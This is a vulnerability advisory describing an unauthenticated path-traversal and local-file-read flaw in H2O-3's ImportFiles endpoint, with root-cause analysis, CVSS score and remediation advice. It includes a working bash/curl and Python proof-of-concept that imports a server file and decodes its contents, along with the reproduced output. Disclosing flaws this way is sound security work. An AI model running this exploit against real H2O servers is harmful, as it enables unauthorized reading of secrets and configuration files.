H2O-3 Pre-Auth Path Traversal in ImportFiles Allows Unauthenticated Import and Read of Arbitrary Local Files
Project: H2O-3
Repository: https://github.com/h2oai/h2o-3
Vulnerability ID: VPLUS-2026-20695
Title: Pre-Authentication Path Traversal in H2O-3 ImportFiles Allows Arbitrary Local File Read
Description: A pre-authentication local file read vulnerability exists in H2O-3 because the POST /3/ImportFiles endpoint is exposed without authentication and accepts attacker-controlled filesystem paths.
In the request handling flow, RegisterV3Api exposes the route, and ImportFilesHandler.importFiles(...) passes the user-supplied path directly to H2O.getPM().importFiles(...). When the path is resolved through the local filesystem persistence layer, PersistNFS.importFiles(...) performs only limited deny-glob and existence checks, then proceeds to import the target path by calling FileIntegrityChecker.check(f).syncDirectory(files, keys, fails, dels).
Although the default deny glob blocks some directories such as /etc and /proc, it does not restrict arbitrary other local paths such as /root/buildinfo/labels.json. There is no authentication, authorization, or dedicated import-directory allowlist protecting this functionality.
As a result, an unauthenticated attacker can import a server-readable local file as an H2O frame and then retrieve its content through the Frames API.
Affected Component: Local filesystem import / ImportFiles API
Affected File: h2o-core/src/main/java/water/persist/PersistNFS.java
Affected Function: importFiles
Affected Line: 126
Technical Root Cause: The application trusts user-supplied filesystem paths in an unauthenticated import endpoint and relies on an incomplete blacklist-based restriction model. Because absolute local paths are accepted and imported into a retrievable frame, the endpoint effectively exposes arbitrary local file read for any readable file not blocked by the deny glob.
Attack Vector: An unauthenticated attacker can:
Import a local file:
POST /3/ImportFiles path=/root/buildinfo/labels.jsonRead the imported frame:
GET /3/Frames/nfs://root/buildinfo/labels.json
Proof of Concept:
#!/bin/bash
set -euo pipefail
BASE="${1:-http://192.168.200.45:54321}"
TARGET_PATH="${2:-/root/buildinfo/labels.json}"
FRAME_KEY="nfs://root/buildinfo/labels.json"
echo "=== IMPORT LOCAL FILE ==="
curl -sS -X POST "$BASE/3/ImportFiles" \
--data-urlencode "path=$TARGET_PATH"
echo
echo "=== READ IMPORTED FRAME ==="
curl -sS "$BASE/3/Frames/nfs:%2F%2Froot%2Fbuildinfo%2Flabels.json"
echo
echo "=== DECODE FIRST 120 BYTES ==="
BASE_ENV="$BASE" python - <<'PY'
import json
import os
import urllib.request
base = os.environ["BASE_ENV"]
url = base + "/3/Frames/nfs:%2F%2Froot%2Fbuildinfo%2Flabels.json"
obj = json.load(urllib.request.urlopen(url))
data = obj["frames"][0]["columns"][0]["data"][:120]
print("".join(chr(int(x)) for x in data))
PY
Observed Behavior: The issue was successfully reproduced without authentication:
POST /3/ImportFileswithpath=/root/buildinfo/labels.jsonreturned:files=["/root/buildinfo/labels.json"]destination_frames=["nfs://root/buildinfo/labels.json"]
GET /3/Frames/nfs://root/buildinfo/labels.jsonreturned the file content as frame dataDecoding the first 120 bytes revealed the beginning of the real local JSON file content:
{ "architecture": "x86_64", "vcs-type": "git", ... }
Impact: This vulnerability allows remote unauthenticated attackers to import and read arbitrary local files that are readable by the H2O-3 process, subject only to incomplete deny-glob restrictions. This can expose sensitive system metadata, configuration files, secrets, internal application data, or other locally stored information.
Severity: High
CVSS: 8.1
Remediation Recommendations:
- Require strong authentication and authorization for
ImportFilesand related import endpoints. - Disable local filesystem import by default unless explicitly required.
- Restrict imports to a dedicated allowlisted data directory rather than accepting arbitrary absolute paths.
- Canonicalize and validate the supplied path before use, rejecting absolute paths, traversal attempts, recursive imports outside the allowed area, and symlink escapes.
- Replace blacklist-based
file_deny_globcontrols with an explicit allowlist model. - Add audit logging for all local file import operations.